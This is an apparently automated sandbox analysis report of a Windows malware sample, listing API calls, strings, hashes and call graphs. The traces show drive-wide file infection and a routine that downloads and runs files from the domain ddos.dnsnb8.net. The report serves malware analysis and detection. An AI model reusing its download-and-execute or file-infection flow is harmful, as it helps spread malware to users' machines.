                                      • Instruction ID: 093f70e5e45cef0a0e83344fd40667ee43cd8b667dee5f3d4d1a5a93074d9648
                                      • Opcode Fuzzy Hash: f23f8598dec8bbb4ac10b6a236faff338d1a89892e54ee5ab5b1cbc5c19062ee
                                      • Instruction Fuzzy Hash: 06112372004218AAFB305B28DD01BAB3368EB21720F21013FF592B91D0E778A9A2975D
                                      Function 004074A4 Relevance: 6.0, APIs: 4, Instructions: 45COMMON
                                      Download Yara Rule
                                      APIs
                                      • __EH_prolog.LIBCMT ref: 004074A9
                                      • ??2@YAPAXI@Z.MSVCRT ref: 004074B5
                                      • ??3@YAXPAX@Z.MSVCRT ref: 004074FF
                                        • Part of subcall function 00407527: strlen.MSVCRT ref: 0040754F
                                        • Part of subcall function 00407527: ??2@YAPAXI@Z.MSVCRT ref: 00407556
                                        • Part of subcall function 00407527: strcpy.MSVCRT(00000000,00000000,00000001,00000000,00000000,00000000,004074D0,?,00000000,?,004075C0,00000000,00000000,00000003,00000000,00401DFE), ref: 00407563
                                      • ??2@YAPAXI@Z.MSVCRT ref: 0040750B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ??2@$??3@H_prologstrcpystrlen
                                      • String ID:
                                      • API String ID: 1367312548-0
                                      • Opcode ID: a4ccc6bdab315bb6810547fd1e784a1e5bd6969783f5aead57b9b326a8da6d2d
                                      • Instruction ID: 24e2e141a7415e54cfde60e06bc6f84240982ef19f6b767edb42695c1fbc6ce5
                                      • Opcode Fuzzy Hash: a4ccc6bdab315bb6810547fd1e784a1e5bd6969783f5aead57b9b326a8da6d2d
                                      • Instruction Fuzzy Hash: C101D431D09111BBDB166F659C02B9E3EA0AF04764F10853FF806B76D1DB78AD00C69E
                                      Function 00402924 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON
                                      Download Yara Rule
                                      APIs
                                      • _stricmp.MSVCRT(P!@,?,?,76789DE0,00000000,?,?,00402150,00000000,TaskStart), ref: 00402989
                                      • SetLastError.KERNEL32(0000007F,?,76789DE0,00000000,?,?,00402150,00000000,TaskStart), ref: 004029A7
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ErrorLast_stricmp
                                      • String ID: P!@
                                      • API String ID: 1278613211-1774101457
                                      • Opcode ID: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                                      • Instruction ID: aaf1e2d36ba78ebe43aa6e6aad127835d86855a49192f4e92224227a9dbc2408
                                      • Opcode Fuzzy Hash: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                                      • Instruction Fuzzy Hash: 432180B1700605EFDB14CF19DA8486A73F6EF89310B29857AE846EB381D678ED41CB85
                                      Function 00405C9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON
                                      Download Yara Rule
                                      APIs
                                      • CloseHandle.KERNEL32(?,$l@,00406118,$l@,?,00000000), ref: 00405CB6
                                      • ??3@YAXPAX@Z.MSVCRT ref: 00405CBD
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ??3@CloseHandle
                                      • String ID: $l@
                                      • API String ID: 3816424416-2140230165
                                      • Opcode ID: 695026124e8f63dae5928df1cfc53220c2aa5689ade8ebf819959d8fbb63d2b2
                                      • Instruction ID: 673c02d0cae411eac5e44946f87937de45fd09569792d44698d585129e0307c2
                                      • Opcode Fuzzy Hash: 695026124e8f63dae5928df1cfc53220c2aa5689ade8ebf819959d8fbb63d2b2
                                      • Instruction Fuzzy Hash: 47D05E3280DE211BE7226A28B90469B2B949F01330F054A6EE4A1A25E2D7789C8596CC

                                      Execution Graph

                                      Execution Coverage:28.6%
                                      Dynamic/Decrypted Code Coverage:10.4%
                                      Signature Coverage:14.5%
                                      Total number of Nodes:297
                                      Total number of Limit Nodes:10
                                      execution_graph 1020 4114e1 1021 411541 1020->1021 1022 4114fd GetModuleHandleA 1020->1022 1024 411573 1021->1024 1028 411549 1021->1028 1023 41151a VirtualQuery 1022->1023 1026 411512 1022->1026 1023->1026 1031 411638 GetTempPathA GetSystemDirectoryA GetModuleFileNameA 1024->1031 1026->1021 1027 411566 1028->1027 1048 411af9 1028->1048 1029 411579 ExitProcess 1032 41167a 1031->1032 1033 41167f 1031->1033 1066 41139f GetVersionExA 1032->1066 1054 411718 GetSystemTimeAsFileTime 1033->1054 1036 4116ca 1037 4116d0 1036->1037 1038 4116d7 1036->1038 1087 411581 1037->1087 1041 4116dd lstrcpy 1038->1041 1042 41170f 1038->1042 1039 411686 1039->1036 1043 4116a0 CreateThread 1039->1043 1041->1029 1042->1029 1059 412c48 memset 1043->1059 1303 411099 1043->1303 1047 411718 3 API calls 1047->1036 1049 411b11 1048->1049 1050 411b09 1048->1050 1052 411b16 CreateThread 1049->1052 1053 411b0f 1049->1053 1051 411638 188 API calls 1050->1051 1051->1053 1052->1053 1322 411638 189 API calls 1052->1322 1053->1027 1053->1053 1055 411735 SHSetValueA 1054->1055 1056 411754 1054->1056 1058 411786 __aulldiv 1055->1058 1057 41175a SHGetValueA 1056->1057 1056->1058 1057->1058 1058->1039 1093 411973 PathFileExistsA 1059->1093 1062 412cb2 1064 4116ba WaitForSingleObject 1062->1064 1065 412cbb VirtualFree 1062->1065 1063 412c8f CreateThread WaitForMultipleObjects 1063->1062 1115 412b8c memset GetLogicalDriveStringsA 1063->1115 1064->1047 1065->1064 1067 4114da 1066->1067 1068 4113cf LookupPrivilegeValueA 1066->1068 1067->1033 1069 4113ef 1068->1069 1070 4113e7 1068->1070 1069->1067 1288 41120e GetModuleHandleA GetProcAddress 1069->1288 1283 41119f GetCurrentProcess OpenProcessToken 1070->1283 1076 411448 GetCurrentProcessId 1076->1067 1077 411457 1076->1077 1077->1067 1078 411319 3 API calls 1077->1078 1079 41147f 1078->1079 1080 411319 3 API calls 1079->1080 1081 41148e 1080->1081 1081->1067 1082 411319 3 API calls 1081->1082 1083 4114b4 1082->1083 1084 411319 3 API calls 1083->1084 1085 4114c3 1084->1085 1086 411319 3 API calls 1085->1086 1086->1067 1302 41185b GetSystemTimeAsFileTime srand rand srand rand 1087->1302 1089 411592 wsprintfA wsprintfA lstrlen CreateFileA 1090 411633 1089->1090 1091 4115fb WriteFile CloseHandle 1089->1091 1090->1042 1091->1090 1092 41161d ShellExecuteA 1091->1092 1092->1090 1094 4119a0 1093->1094 1096 411ac7 1093->1096 1095 4119af CreateFileA 1094->1095 1097 4119c4 Sleep 1095->1097 1098 411a28 GetFileSize 1095->1098 1096->1062 1096->1063 1097->1095 1099 4119d5 1097->1099 1100 411a38 1098->1100 1106 411a80 1098->1106 1114 41185b GetSystemTimeAsFileTime srand rand srand rand 1099->1114 1104 411a3d VirtualAlloc 1100->1104 1100->1106 1101 411a96 1109 411aad 1101->1109 1113 411a9c DeleteFileA 1101->1113 1102 411a8d FindCloseChangeNotification 1102->1101 1104->1106 1111 411a53 1104->1111 1105 4119da wsprintfA CopyFileA 1105->1098 1110 411a0d CreateFileA 1105->1110 1106->1101 1106->1102 1107 411a59 ReadFile 1107->1106 1107->1111 1109->1096 1112 411ab8 VirtualFree 1109->1112 1110->1098 1110->1113 1111->1106 1111->1107 1112->1096 1113->1109 1114->1105 1116 412c09 WaitForMultipleObjects 1115->1116 1120 412bc8 1115->1120 1117 412c2a CreateThread 1116->1117 1118 412c3c 1116->1118 1117->1118 1126 412845 1117->1126 1119 412bfa lstrlen 1119->1116 1119->1120 1120->1119 1121 412bd2 GetDriveTypeA 1120->1121 1122 412be3 CreateThread 1120->1122 1121->1119 1121->1120 1122->1119 1123 412b7d 1122->1123 1136 4129e2 memset wsprintfA 1123->1136 1273 41274a memset memset SHGetSpecialFolderPathA wsprintfA 1126->1273 1128 412878 DeleteFileA 1129 41289a 1128->1129 1130 41288c VirtualFree 1128->1130 1132 4128a4 CloseHandle 1129->1132 1133 4128ab 1129->1133 1130->1129 1131 412692 8 API calls 1134 412853 1131->1134 1132->1133 1134->1128 1134->1131 1135 41239d 186 API calls 1134->1135 1135->1134 1137 412a3a memset lstrlen lstrcpyn strrchr 1136->1137 1138 412abc memset memset FindFirstFileA 1136->1138 1137->1138 1139 412a88 1137->1139 1150 4128b8 memset wsprintfA 1138->1150 1139->1138 1141 412a9a lstrcmpiA 1139->1141 1143 412b74 1141->1143 1144 412aad lstrlen 1141->1144 1144->1138 1144->1141 1145 412b61 FindNextFileA 1146 412b23 1145->1146 1147 412b6d FindClose 1145->1147 1148 412b35 lstrcmpiA 1146->1148 1149 4128b8 174 API calls 1146->1149 1147->1143 1148->1146 1148->1147 1149->1145 1151 412905 1150->1151 1159 412951 memset 1150->1159 1152 412956 strrchr 1151->1152 1153 41291b memset wsprintfA 1151->1153 1151->1159 1155 412967 lstrcmpiA 1152->1155 1152->1159 1154 4129e2 180 API calls 1153->1154 1154->1159 1156 412988 lstrcmpiA 1155->1156 1157 41297a 1155->1157 1156->1159 1161 412994 1156->1161 1168 411e6e 1157->1168 1159->1145 1160 4129ad strstr 1163 4129d3 1160->1163 1164 4129cb 1160->1164 1161->1160 1162 4129a5 lstrcpy 1161->1162 1162->1160 1233 412692 1163->1233 1211 41239d strstr 1164->1211 1169 411e7d 1168->1169 1242 411df6 strrchr 1169->1242 1172 411eb0 SetFileAttributesA CreateFileA 1173 412332 1172->1173 1174 411edf 1172->1174 1175 412346 1173->1175 1176 41233d UnmapViewOfFile 1173->1176 1247 411915 1174->1247 1179 412350 1175->1179 1180 41234b FindCloseChangeNotification 1175->1180 1176->1175 1181 412391 1179->1181 1182 412356 FindCloseChangeNotification 1179->1182 1180->1179 1181->1159 1182->1181 1183 411f2e 1183->1173 1253 411c81 1183->1253 1187 411f92 1188 411c81 2 API calls 1187->1188 1189 411f9f 1188->1189 1189->1173 1190 411af9 169 API calls 1189->1190 1192 412024 1189->1192 1194 411fc0 1190->1194 1191 411af9 169 API calls 1193 41207a 1191->1193 1192->1173 1192->1191 1195 411af9 169 API calls 1193->1195 1194->1173 1194->1192 1196 411af9 169 API calls 1194->1196 1199 412090 1195->1199 1197 411ffe 1196->1197 1198 412013 FlushViewOfFile 1197->1198 1198->1192 1200 4120bb memset memset 1199->1200 1201 4120f5 1200->1201 1202 411c81 2 API calls 1201->1202 1203 4121de 1202->1203 1204 412226 memcpy UnmapViewOfFile FindCloseChangeNotification 1203->1204 1258 411b8a 1204->1258 1206 41226e 1266 41185b GetSystemTimeAsFileTime srand rand srand rand 1206->1266 1208 4122ab SetFilePointer SetEndOfFile SetFilePointer WriteFile WriteFile 1209 411915 3 API calls 1208->1209 1210 41231f FindCloseChangeNotification 1209->1210 1210->1173 1212 412451 CreateFileA GetFileSize 1211->1212 1213 4123d8 1211->1213 1214 412480 1212->1214 1215 412675 CloseHandle 1212->1215 1213->1212 1218 412687 1213->1218 1214->1215 1217 412499 1214->1217 1216 41267c RemoveDirectoryA 1215->1216 1216->1218 1219 411915 3 API calls 1217->1219 1218->1159 1220 4124a4 9 API calls 1219->1220 1268 41189d memset CreateProcessA 1220->1268 1223 41255c Sleep memset wsprintfA 1224 4129e2 163 API calls 1223->1224 1225 412597 memset wsprintfA Sleep 1224->1225 1226 41189d 6 API calls 1225->1226 1227 4125e4 Sleep CreateFileA 1226->1227 1228 411915 3 API calls 1227->1228 1229 412610 CloseHandle 1228->1229 1229->1216 1230 41261e 1229->1230 1230->1216 1231 412641 SetFilePointer WriteFile 1230->1231 1231->1216 1232 412667 SetEndOfFile 1231->1232 1232->1216 1234 4126b2 WaitForSingleObject 1233->1234 1235 4126a2 CreateEventA 1233->1235 1236 4126c1 lstrlen ??2@YAPAXI 1234->1236 1237 412708 1234->1237 1235->1234 1238 412736 SetEvent 1236->1238 1239 4126da lstrcpy 1236->1239 1237->1238 1240 412718 lstrcpy ??3@YAXPAX 1237->1240 1238->1159 1241 4126f1 1239->1241 1240->1241 1241->1238 1243 411e13 lstrcpy strrchr 1242->1243 1244 411e62 1242->1244 1243->1244 1245 411e40 lstrcmpiA 1243->1245 1244->1172 1244->1173 1245->1244 1246 411e52 lstrlen 1245->1246 1246->1244 1246->1245 1248 411928 1247->1248 1252 411924 SetFilePointer CreateFileMappingA MapViewOfFile 1247->1252 1249 41194f 1248->1249 1250 41192e memset GetFileTime 1248->1250 1251 411954 SetFileTime 1249->1251 1249->1252 1250->1252 1251->1252 1252->1173 1252->1183 1254 411c9c 1253->1254 1256 411c94 1253->1256 1255 411cae memset memset 1254->1255 1254->1256 1255->1256 1256->1173 1257 41185b GetSystemTimeAsFileTime srand rand srand rand 1256->1257 1257->1187 1259 411b93 1258->1259 1267 41185b GetSystemTimeAsFileTime srand rand srand rand 1259->1267 1261 411bca srand 1262 411bd8 rand 1261->1262 1263 411c08 1262->1263 1263->1262 1264 411c29 memset memcpy lstrcat 1263->1264 1264->1206 1266->1208 1267->1261 1269 4118e0 CloseHandle WaitForSingleObject 1268->1269 1270 41190c 1268->1270 1271 411907 CloseHandle 1269->1271 1272 4118fb GetExitCodeProcess 1269->1272 1270->1216 1270->1223 1271->1270 1272->1271 1282 41185b GetSystemTimeAsFileTime srand rand srand rand 1273->1282 1275 4127b5 wsprintfA CopyFileA 1276 412840 1275->1276 1277 4127de wsprintfA 1275->1277 1276->1134 1278 411973 17 API calls 1277->1278 1279 41280f 1278->1279 1280 412820 CreateFileA 1279->1280 1281 412813 DeleteFileA 1279->1281 1280->1276 1281->1280 1282->1275 1284 411200 CloseHandle 1283->1284 1285 4111c6 AdjustTokenPrivileges 1283->1285 1284->1069 1286 4111f7 CloseHandle 1285->1286 1287 4111f6 1285->1287 1286->1284 1287->1286 1289 411310 1288->1289 1290 41123f GetCurrentProcessId OpenProcess 1288->1290 1289->1067 1297 411319 1289->1297 1290->1289 1291 411262 1290->1291 1292 4112b0 VirtualAlloc 1291->1292 1293 4112f1 CloseHandle 1291->1293 1295 411296 VirtualFree 1291->1295 1296 4112b8 1291->1296 1292->1291 1292->1296 1293->1289 1294 411302 VirtualFree 1293->1294 1294->1289 1295->1292 1296->1293 1298 41134a 1297->1298 1299 41132a GetModuleHandleA GetProcAddress 1297->1299 1300 411351 memset 1298->1300 1301 411363 1298->1301 1299->1298 1299->1301 1300->1301 1301->1067 1301->1076 1302->1089 1304 4110ba 1303->1304 1305 411196 1303->1305 1304->1305 1321 41185b GetSystemTimeAsFileTime srand rand srand rand 1304->1321 1307 411118 wsprintfA wsprintfA URLDownloadToFileA 1308 411168 lstrlen Sleep 1307->1308 1309 4110dc 1307->1309 1308->1304 1312 411000 CreateFileA 1309->1312 1313 411092 WinExec lstrlen 1312->1313 1314 411025 GetFileSize CreateFileMappingA MapViewOfFile 1312->1314 1313->1304 1313->1305 1315 411057 1314->1315 1316 41107b 1314->1316 1317 411061 1315->1317 1318 411074 UnmapViewOfFile 1315->1318 1319 411087 CloseHandle 1316->1319 1320 41108d CloseHandle 1316->1320 1317->1318 1318->1316 1319->1320 1320->1313 1321->1307 1337 412361 1338 412374 1337->1338 1339 41236b UnmapViewOfFile 1337->1339 1340 412382 1338->1340 1341 412379 CloseHandle 1338->1341 1339->1338 1342 412388 CloseHandle 1340->1342 1343 412391 1340->1343 1341->1340 1342->1343 1344 416014 1345 41605f 1344->1345 1346 416035 GetModuleHandleA 1344->1346 1347 41604d GetProcAddress 1346->1347 1348 416058 1347->1348 1348->1345 1348->1347 1348->1348 1323 416076 1324 41607b 1323->1324 1329 4160c7 1323->1329 1326 4160b0 VirtualAlloc 1324->1326 1324->1329 1334 4161b2 1324->1334 1325 41615f VirtualFree 1325->1329 1326->1329 1327 416198 VirtualFree 1327->1334 1328 4160d5 VirtualAlloc 1328->1329 1329->1325 1329->1327 1329->1328 1330 416389 VirtualProtect 1333 4163b7 1330->1333 1331 4163fc VirtualProtect 1332 416400 1331->1332 1333->1331 1335 4163e7 VirtualProtect 1333->1335 1334->1330 1336 4162fb 1334->1336 1335->1331 1335->1333 1349 416158 VirtualFree 1357 4160c7 1349->1357 1350 416198 VirtualFree 1359 4161b2 1350->1359 1351 4160d5 VirtualAlloc 1351->1357 1352 416389 VirtualProtect 1356 4163b7 1352->1356 1353 4163fc VirtualProtect 1355 416400 1353->1355 1354 41615f VirtualFree 1354->1357 1356->1353 1358 4163e7 VirtualProtect 1356->1358 1357->1350 1357->1351 1357->1354 1358->1353 1358->1356 1359->1352 1360 4162fb 1359->1360

                                      Callgraph

                                      • Executed
                                      • Not Executed
                                      • Opacity -> Relevance
                                      • Disassembly available
                                      callgraph 0 Function_00412845 3 Function_0041274A 0->3 36 Function_00412692 0->36 44 Function_0041239D 0->44 1 Function_00412C48 16 Function_00411973 1->16 33 Function_00412B8C 1->33 2 Function_004166C8 27 Function_00416D00 2->27 28 Function_00416B02 2->28 29 Function_00416A84 2->29 6 Function_0041185B 3->6 3->16 4 Function_004117D0 5 Function_00416158 5->2 7 Function_0041235D 8 Function_004114E1 20 Function_00411AF9 8->20 54 Function_00411638 8->54 9 Function_00412361 43 Function_00412D9B 9->43 10 Function_00412D60 11 Function_00416B63 48 Function_004167A4 11->48 50 Function_004169B0 11->50 51 Function_00416834 11->51 12 Function_004129E2 53 Function_004128B8 12->53 13 Function_00411C68 14 Function_00411E6E 14->6 14->10 14->13 19 Function_00411DF6 14->19 14->20 24 Function_00411C81 14->24 30 Function_00411D8A 14->30 31 Function_00411B8A 14->31 38 Function_00411915 14->38 14->43 15 Function_00412CF0 16->6 17 Function_00416CF2 21 Function_00416CF8 17->21 18 Function_00416076 18->2 20->54 22 Function_00412B7D 22->12 23 Function_00416001 32 Function_0041600A 23->32 25 Function_00411581 25->6 26 Function_00411000 26->4 27->11 27->17 27->50 28->11 29->17 34 Function_0041680F 29->34 31->6 33->0 33->22 35 Function_0041120E 37 Function_00416012 39 Function_00416014 40 Function_00411099 40->6 40->26 41 Function_00411319 42 Function_00411718 42->15 44->12 44->38 45 Function_0041189D 44->45 46 Function_0041119F 47 Function_0041139F 47->35 47->41 47->46 49 Function_004165A6 52 Function_00416734 52->27 52->28 52->29 53->12 53->14 53->36 53->44 54->1 54->4 54->25 54->40 54->42 54->47

                                      Executed Functions

                                      Function 004129E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128stringfileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 101 4129e2-412a34 memset wsprintfA 102 412a3a-412a86 memset lstrlen lstrcpyn strrchr 101->102 103 412abc-412b21 memset * 2 FindFirstFileA call 4128b8 memset 101->103 102->103 104 412a88-412a98 102->104 110 412b61-412b6b FindNextFileA 103->110 104->103 106 412a9a-412aa7 lstrcmpiA 104->106 108 412b74-412b7a 106->108 109 412aad-412aba lstrlen 106->109 109->103 109->106 111 412b23-412b2a 110->111 112 412b6d-412b6e FindClose 110->112 113 412b4c-412b5c call 4128b8 111->113 114 412b2c-412b33 111->114 112->108 113->110 114->113 115 412b35-412b4a lstrcmpiA 114->115 115->112 115->113
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: memset$Find$Filelstrcmpilstrlen$CloseFirstNextlstrcpynstrrchrwsprintf
                                      • String ID: %s*$C:\$Documents and Settings
                                      • API String ID: 2826467728-110786608
                                      • Opcode ID: d2523e204355602ae66a027c871e9f87b0daf8c1e7884aa56d75710f8bab3251
                                      • Instruction ID: 65144007b1295a94b449f8018844ab25a41e58a19d05d7312c217ee049207851
                                      • Opcode Fuzzy Hash: d2523e204355602ae66a027c871e9f87b0daf8c1e7884aa56d75710f8bab3251
                                      • Instruction Fuzzy Hash: 104195B2804349AFD720DFA0DD48DDB7BECEB84355F04483AF544D3111E678D69887AA
                                      Function 00411099 Relevance: 22.8, APIs: 7, Strings: 6, Instructions: 74stringsleepprocessCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 172 411099-4110b4 173 411199-41119c 172->173 174 4110ba-4110c7 172->174 175 4110c8-4110d4 174->175 176 411184-411190 175->176 177 4110da 175->177 176->175 179 411196-411198 176->179 178 411113-411162 call 41185b wsprintfA * 2 URLDownloadToFileA 177->178 182 411168-411182 lstrlen Sleep 178->182 183 4110dc-41110d call 411000 WinExec lstrlen 178->183 179->173 182->176 182->178 183->178 183->179
                                      APIs
                                        • Part of subcall function 0041185B: GetSystemTimeAsFileTime.KERNEL32(?,ddos.dnsnb8.net,75A38400,http://%s:%d/%s/%s,?,?,?,00411118), ref: 00411867
                                        • Part of subcall function 0041185B: srand.MSVCRT ref: 00411878
                                        • Part of subcall function 0041185B: rand.MSVCRT ref: 00411880
                                        • Part of subcall function 0041185B: srand.MSVCRT ref: 00411890
                                        • Part of subcall function 0041185B: rand.MSVCRT ref: 00411894
                                      • WinExec.KERNEL32(?,00000005), ref: 004110F1
                                      • lstrlen.KERNEL32(00414748), ref: 004110FA
                                      • wsprintfA.USER32 ref: 0041112A
                                      • wsprintfA.USER32 ref: 00411143
                                      • URLDownloadToFileA.URLMON(00000000,?,?,00000000,00000000), ref: 0041115B
                                      • lstrlen.KERNEL32(ddos.dnsnb8.net,00000000,?,?,00000000,00000000), ref: 00411169
                                      • Sleep.KERNEL32 ref: 00411179
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: FileTimelstrlenrandsrandwsprintf$DownloadExecSleepSystem
                                      • String ID: %s%.8X.exe$C:\Users\user~1\AppData\Local\Temp\$HGA$cj/$ddos.dnsnb8.net$http://%s:%d/%s/%s
                                      • API String ID: 1280626985-4169869480
                                      • Opcode ID: b65ca904958eaa15b92465377065451874a6a638846a3603176cb1565f344997
                                      • Instruction ID: 55f202fdbf60aae414de519c3b80e21e794e04d96827ea1321f34c524b75be16
                                      • Opcode Fuzzy Hash: b65ca904958eaa15b92465377065451874a6a638846a3603176cb1565f344997
                                      • Instruction Fuzzy Hash: 912192B5900248BEDB20DBA0DC44FEFBFBCAB49315F1180A6E600A2161D7785BC4CF68
                                      Function 00411718 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 65timeCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 216 411718-411733 GetSystemTimeAsFileTime 217 411735-411752 SHSetValueA 216->217 218 411754-411758 216->218 219 4117c6-4117cd 217->219 218->219 220 41175a-411784 SHGetValueA 218->220 220->219 221 411786-4117b3 call 412cf0 * 2 220->221 221->219 226 4117b5 221->226 227 4117b7-4117bd 226->227 228 4117bf 226->228 227->219 227->228 228->219
                                      APIs
                                      • GetSystemTimeAsFileTime.KERNEL32(?,?,00000104,C:\Users\user~1\AppData\Local\Temp\wBQInv.exe), ref: 00411729
                                      • SHSetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,00000003,?,00000008), ref: 0041174C
                                      • SHGetValueA.SHLWAPI(80000002,SOFTWARE\GTplus,Time,?,?,00000001), ref: 0041177C
                                      • __aulldiv.LIBCMT ref: 00411796
                                      • __aulldiv.LIBCMT ref: 004117A8
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: TimeValue__aulldiv$FileSystem
                                      • String ID: C:\Users\user~1\AppData\Local\Temp\wBQInv.exe$SOFTWARE\GTplus$Time
                                      • API String ID: 541852442-1202157567
                                      • Opcode ID: 65297e7aad8725364257d5bea735a78f946ff6c5c7dfa786aac4847c9c750509
                                      • Instruction ID: 8a23fba222974560502ad5d685b3aba2a6b3e298f40c53409a5db998b93a8cad
                                      • Opcode Fuzzy Hash: 65297e7aad8725364257d5bea735a78f946ff6c5c7dfa786aac4847c9c750509
                                      • Instruction Fuzzy Hash: C6118971A00209BBDF109F94CD85FEF7BBCEB44B15F208126FA11B6290D6799A848768
                                      Function 00416076 Relevance: 11.1, APIs: 7, Instructions: 617memoryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
